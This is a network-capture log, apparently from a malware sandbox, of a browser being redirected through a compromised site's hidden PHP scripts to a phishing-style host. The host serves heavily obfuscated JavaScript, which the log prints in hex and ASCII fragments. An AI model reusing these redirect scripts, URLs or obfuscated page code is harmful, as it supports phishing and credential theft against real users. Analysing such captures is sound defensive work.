2024-12-09 17:42:10 UTC	600	OUT	GET /.well-know/cd/re/sts.php HTTP/1.1 Host: ameninternazionale.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ameninternazionale.org/.well-know/cd/re/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:11 UTC	382	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:10 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=2751027388f5ab72f265578dd5215654; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-09 17:42:11 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49758	192.185.25.241	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:12 UTC	831	OUT	GET /.well-know/cd/re/rdrct.php?code=hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20%3D HTTP/1.1 Host: ameninternazionale.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ameninternazionale.org/.well-know/cd/re/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2751027388f5ab72f265578dd5215654
2024-12-09 17:42:12 UTC	347	IN	HTTP/1.1 302 Moved Temporarily Date: Mon, 09 Dec 2024 17:42:12 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Upgrade: h2,h2c Connection: Upgrade, close Location: https://offcap.myconm.com/?qe=3RVg Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49762	192.185.25.241	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:12 UTC	422	OUT	GET /.well-know/cd/re/sts.php HTTP/1.1 Host: ameninternazionale.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2751027388f5ab72f265578dd5215654
2024-12-09 17:42:13 UTC	318	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:12 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-09 17:42:13 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49763	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:14 UTC	696	OUT	GET /?qe=3RVg HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ameninternazionale.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:15 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-12-09 17:42:15 UTC	14340	IN	Data Raw: 33 37 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 30 5a 34 28 29 7b 76 61 72 20 52 6a 3d 5b 27 4c 6f 44 4c 63 27 2c 27 6f 66 66 73 65 74 57 69 64 74 68 27 2c 27 71 79 70 74 65 27 2c 27 63 6f 6e 74 65 78 74 27 2c 27 69 67 6e 6f 72 65 43 61 73 65 27 2c 27 5c 78 30 61 75 73 65 72 41 67 65 6e 74 3a 5c 78 32 30 27 2c 27 64 65 76 69 63 65 50 6f 73 74 75 72 65 27 2c 27 75 6e 73 75 70 70 6f 72 74 65 64 27 2c 27 6d 73 53 61 76 65 42 6c 6f 62 27 2c 27 27 2c 27 6d 6f 7a 46 75 6c 6c 53 63 72 65 65 6e 45 6c 65 6d 65 6e 74 27 2c 27 Data Ascii: 37fc<!DOCTYPE html><html lang="en-US"> <head> <script type="text/javascript"> function a0Z4(){var Rj=['LoDLc','offsetWidth','qypte','context','ignoreCase','\x0auserAgent:\x20','devicePosture','unsupported','msSaveBlob','','mozFullScreenElement','
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 33 66 66 39 0d 0a 6d 62 47 39 33 4f 69 42 6f 61 57 52 6b 5a 57 34 37 49 48 42 76 63 32 6c 30 61 57 39 75 4f 69 42 79 5a 57 78 68 64 47 6c 32 5a 54 73 69 58 51 3d 3d 27 2c 27 23 61 61 66 6f 6f 74 2e 74 6f 70 5f 62 6f 78 27 2c 27 4b 66 6b 69 48 27 2c 27 52 45 4a 45 43 54 49 4f 4e 5f 45 56 45 4e 54 27 2c 27 6e 73 46 62 62 27 2c 27 66 6f 72 45 61 63 68 27 2c 27 6d 6f 6e 69 74 6f 72 69 6e 67 27 2c 27 74 6f 70 27 2c 27 61 6c 70 68 61 62 65 74 69 63 27 2c 27 47 7a 41 58 53 27 2c 27 42 55 47 47 59 5f 53 41 46 41 52 49 5f 49 54 45 52 41 54 4f 52 53 27 2c 27 45 55 52 4f 53 54 49 4c 45 27 2c 27 27 2c 27 56 45 4e 44 4f 52 27 2c 27 72 61 6e 67 65 4d 61 78 27 2c 27 65 78 70 6f 72 74 73 27 2c 27 6d 61 74 63 68 65 73 27 2c 27 72 65 6d 6f 76 65 43 68 69 6c 64 27 2c 27 70 Data Ascii: 3ff9mbG93OiBoaWRkZW47IHBvc2l0aW9uOiByZWxhdGl2ZTsiXQ==','#aafoot.top_box','KfkiH','REJECTION_EVENT','nsFbb','forEach','monitoring','top','alphabetic','GzAXS','BUGGY_SAFARI_ITERATORS','EUROSTILE','','VENDOR','rangeMax','exports','matches','removeChild','p
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 0a 63 30 30 30 0d 0a 33 30 29 2c 64 67 3d 5a 4f 28 30 78 34 34 33 29 2c 64 62 3d 5a 78 28 30 78 32 39 65 29 2c 64 59 3d 64 76 28 30 78 31 31 63 37 29 2c 64 4a 3d 64 52 28 30 78 31 31 66 33 29 2c 64 76 3d 5a 43 28 30 78 31 29 2c 64 61 3d 5a 63 28 30 78 31 39 34 64 29 2c 64 48 3d 64 76 28 65 47 28 30 78 32 63 62 29 29 2c 64 77 3d 64 61 3e 3d 30 78 33 33 7c 7c 21 64 54 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 50 3d 65 47 2c 64 4b 3d 5b 5d 3b 72 65 74 75 72 6e 20 64 4b 5b 64 48 5d 3d 21 30 78 31 2c 64 4b 5b 65 50 28 30 78 32 65 31 29 5d 28 29 5b 30 78 30 5d 21 3d 3d 64 4b 3b 7d 29 2c 64 45 3d 66 75 6e 63 74 69 6f 6e 28 64 4b 29 7b 69 66 28 21 64 52 28 64 4b 29 29 72 65 74 75 72 6e 21 30 78 31 3b 76 61 72 20 64 42 3d 64 4b 5b 64 48 5d 3b 72 65 74 75 Data Ascii: c00030),dg=ZO(0x443),db=Zx(0x29e),dY=dv(0x11c7),dJ=dR(0x11f3),dv=ZC(0x1),da=Zc(0x194d),dH=dv(eG(0x2cb)),dw=da>=0x33\|\|!dT(function(){var eP=eG,dK=[];return dK[dH]=!0x1,dK[eP(0x2e1)]()[0x0]!==dK;}),dE=function(dK){if(!dR(dK))return!0x1;var dB=dK[dH];retu
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 54 3d 64 4e 28 30 78 37 33 62 29 5b 27 49 74 65 72 61 74 6f 72 50 72 6f 74 6f 74 79 70 65 27 5d 2c 64 41 3d 64 4e 28 30 78 31 34 61 61 29 2c 64 52 3d 64 4e 28 30 78 31 65 33 61 29 2c 64 63 3d 64 4e 28 30 78 38 65 35 29 2c 64 68 3d 64 4e 28 30 78 31 61 37 37 29 2c 64 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 3b 7d 3b 64 71 5b 73 49 28 30 78 34 33 66 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 62 2c 64 59 2c 64 4a 2c 64 76 29 7b 76 61 72 20 73 65 3d 73 49 2c 64 61 3d 64 59 2b 73 65 28 30 78 31 64 39 29 3b 72 65 74 75 72 6e 20 64 62 5b 73 65 28 30 78 34 35 61 29 5d 3d 64 41 28 64 54 2c 7b 27 6e 65 78 74 27 3a 64 52 28 2b 21 64 76 2c 64 4a 29 7d 29 2c 64 63 28 64 62 2c 64 61 2c 21 30 78 31 2c 21 30 78 30 29 2c 64 68 5b 64 61 5d 3d 64 Data Ascii: T=dN(0x73b)['IteratorPrototype'],dA=dN(0x14aa),dR=dN(0x1e3a),dc=dN(0x8e5),dh=dN(0x1a77),dg=function(){return this;};dq[sI(0x43f)]=function(db,dY,dJ,dv){var se=sI,da=dY+se(0x1d9);return db[se(0x45a)]=dA(dT,{'next':dR(+!dv,dJ)}),dc(db,da,!0x1,!0x0),dh[da]=d
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 7c 64 61 7c 7c 64 48 29 26 26 28 64 4b 3d 66 75 6e 63 74 69 6f 6e 28 64 4c 29 7b 76 61 72 20 55 52 3d 55 41 2c 64 7a 2c 64 69 2c 64 4f 2c 64 6c 2c 64 43 2c 64 78 2c 64 4d 2c 64 51 3d 74 68 69 73 2c 64 57 3d 64 76 28 64 51 29 2c 64 47 3d 64 68 28 64 4c 29 2c 64 50 3d 64 57 5b 27 72 61 77 27 5d 3b 69 66 28 64 50 29 72 65 74 75 72 6e 20 64 50 5b 55 52 28 30 78 31 66 63 29 5d 3d 64 51 5b 27 6c 61 73 74 49 6e 64 65 78 27 5d 2c 64 7a 3d 64 52 28 64 4b 2c 64 50 2c 64 47 29 2c 64 51 5b 27 6c 61 73 74 49 6e 64 65 78 27 5d 3d 64 50 5b 55 52 28 30 78 31 66 63 29 5d 2c 64 7a 3b 76 61 72 20 64 53 3d 64 57 5b 27 67 72 6f 75 70 73 27 5d 2c 64 44 3d 64 58 26 26 64 51 5b 55 52 28 30 78 31 65 34 29 5d 2c 64 6b 3d 64 52 28 64 67 2c 64 51 29 2c 64 70 3d 64 51 5b 27 73 6f 75 Data Ascii: \|da\|\|dH)&&(dK=function(dL){var UR=UA,dz,di,dO,dl,dC,dx,dM,dQ=this,dW=dv(dQ),dG=dh(dL),dP=dW['raw'];if(dP)return dP[UR(0x1fc)]=dQ['lastIndex'],dz=dR(dK,dP,dG),dQ['lastIndex']=dP[UR(0x1fc)],dz;var dS=dW['groups'],dD=dX&&dQ[UR(0x1e4)],dk=dR(dg,dQ),dp=dQ['sou
2024-12-09 17:42:15 UTC	9	IN	Data Raw: 64 63 2c 61 72 67 75 0d 0a Data Ascii: dc,argu
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 38 30 30 30 0d 0a 6d 65 6e 74 73 5b 71 74 28 30 78 32 32 39 29 5d 3e 30 78 31 3f 61 72 67 75 6d 65 6e 74 73 5b 30 78 31 5d 3a 76 6f 69 64 20 30 78 30 29 3b 7d 7d 29 3b 7d 7d 2c 30 78 32 34 37 38 3a 66 75 6e 63 74 69 6f 6e 28 64 71 2c 64 72 2c 64 4e 29 7b 76 61 72 20 71 58 3d 61 30 5a 35 2c 64 54 3d 64 4e 28 30 78 32 31 61 34 29 2c 64 41 3d 64 4e 28 30 78 31 33 33 32 29 2c 64 52 3d 64 4e 28 30 78 33 61 66 29 2c 64 63 3d 64 4e 28 30 78 36 61 38 29 2c 64 68 3d 64 4e 28 30 78 64 34 30 29 2c 64 67 3d 64 4e 28 30 78 31 62 33 30 29 2c 64 62 3d 64 4e 28 30 78 31 35 64 66 29 2c 64 59 3d 64 4e 28 30 78 32 39 65 29 2c 64 4a 3d 64 4e 28 30 78 31 29 2c 64 76 3d 64 4e 28 30 78 31 31 66 33 29 2c 64 61 3d 64 4e 28 30 78 36 61 32 29 2c 64 48 3d 64 76 28 27 73 6c 69 63 65 Data Ascii: 8000ments[qt(0x229)]>0x1?arguments[0x1]:void 0x0);}});}},0x2478:function(dq,dr,dN){var qX=a0Z5,dT=dN(0x21a4),dA=dN(0x1332),dR=dN(0x3af),dc=dN(0x6a8),dh=dN(0xd40),dg=dN(0x1b30),db=dN(0x15df),dY=dN(0x29e),dJ=dN(0x1),dv=dN(0x11f3),da=dN(0x6a2),dH=dv('slice
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 63 68 28 64 4d 29 7b 74 68 72 6f 77 20 5a 42 5b 72 79 28 30 78 33 65 37 29 5d 26 26 5a 48 28 29 2c 64 4d 3b 7d 64 43 26 26 64 43 5b 72 79 28 30 78 33 62 31 29 5d 28 29 3b 7d 7d 3a 64 79 3b 72 65 74 75 72 6e 5b 66 75 6e 63 74 69 6f 6e 28 64 69 2c 64 4f 29 7b 76 61 72 20 64 6c 3d 64 67 28 74 68 69 73 29 2c 64 43 3d 64 68 28 64 69 29 3f 76 6f 69 64 20 30 78 30 3a 64 61 28 64 69 2c 64 58 29 3b 72 65 74 75 72 6e 20 64 43 3f 64 54 28 64 43 2c 64 69 2c 64 6c 2c 64 4f 29 3a 64 54 28 64 7a 2c 64 76 28 64 6c 29 2c 64 69 2c 64 4f 29 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 64 69 2c 64 4f 29 7b 76 61 72 20 72 4c 3d 61 30 5a 35 2c 64 6c 3d 64 63 28 74 68 69 73 29 2c 64 43 3d 64 76 28 64 69 29 3b 69 66 28 21 64 6d 29 7b 76 61 72 20 64 78 3d 64 4c 28 64 7a 2c 64 6c 2c 64 43 Data Ascii: ch(dM){throw ZB[ry(0x3e7)]&&ZH(),dM;}dC&&dC[ry(0x3b1)]();}}:dy;return[function(di,dO){var dl=dg(this),dC=dh(di)?void 0x0:da(di,dX);return dC?dT(dC,di,dl,dO):dT(dz,dv(dl),di,dO);},function(di,dO){var rL=a0Z5,dl=dc(this),dC=dv(di);if(!dm){var dx=dL(dz,dl,dC
2024-12-09 17:42:15 UTC	8	IN	Data Raw: 20 30 78 38 21 3d 0d 0a Data Ascii: 0x8!=
2024-12-09 17:42:15 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 3d 5a 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 27 6c 65 6e 67 74 68 27 2c 7b 27 76 61 6c 75 65 27 3a 30 78 38 7d 29 5b 4e 48 28 30 78 32 32 39 29 5d 3b 65 6c 73 65 7b 76 61 72 20 64 4e 3d 66 75 6e 63 74 69 6f 6e 28 64 61 29 7b 76 61 72 20 4e 77 3d 4e 48 3b 66 6f 72 28 76 61 72 20 64 48 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 64 61 5b 4e 77 28 30 78 32 32 39 29 5d 29 2c 64 77 3d 30 78 30 3b 64 77 3c 64 61 5b 4e 77 28 30 78 32 32 39 29 5d 3b 64 77 2b 2b 29 7b 76 61 72 20 64 45 3d 64 61 5b 4e 77 28 30 78 35 31 63 29 5d 28 64 77 29 3b 69 66 28 64 45 3e 30 78 37 66 29 72 65 74 75 72 6e 20 6e 65 77 20 54 65 78 74 45 6e 63 6f 64 65 72 28 29 5b 4e 77 28 30 78 32 34 32 29 5d 28 64 61 29 3b 64 48 5b 64 77 5d 3d 64 45 3b 7d 72 65 74 75 Data Ascii: 4000=Za(function(){},'length',{'value':0x8})[NH(0x229)];else{var dN=function(da){var Nw=NH;for(var dH=new Uint8Array(da[Nw(0x229)]),dw=0x0;dw<da[Nw(0x229)];dw++){var dE=da[Nw(0x51c)](dw);if(dE>0x7f)return new TextEncoder()[Nw(0x242)](da);dH[dw]=dE;}retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49766	104.17.25.14	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:17 UTC	557	OUT	GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:17 UTC	961	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"603e8adc-15d9d" Last-Modified: Tue, 02 Mar 2021 18:58:36 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 896523 Expires: Sat, 29 Nov 2025 17:42:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OQ0Z8pxuvFq9p1p2r7aFgfVl59sUDOay2OcG%2FOGL9YxzBdN6Vh%2Fw2GWb5p8dhy69389geKw6LAuNzlHpDEZtQPNsL06vnRpPzS6OdkJvnpsol8Dn9eHMgtZIeDZ0M%2BLc26%2FkzbAj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef6ca781a2242b3-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:17 UTC	408	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 7bef/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 72 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 Data Ascii: rototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=type
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 2c 6c 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: ,last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return thi
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 Data Ascii: .call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 5d 3f 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c Data Ascii: ]?=)"+M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 Data Ascii: ng(16)+" 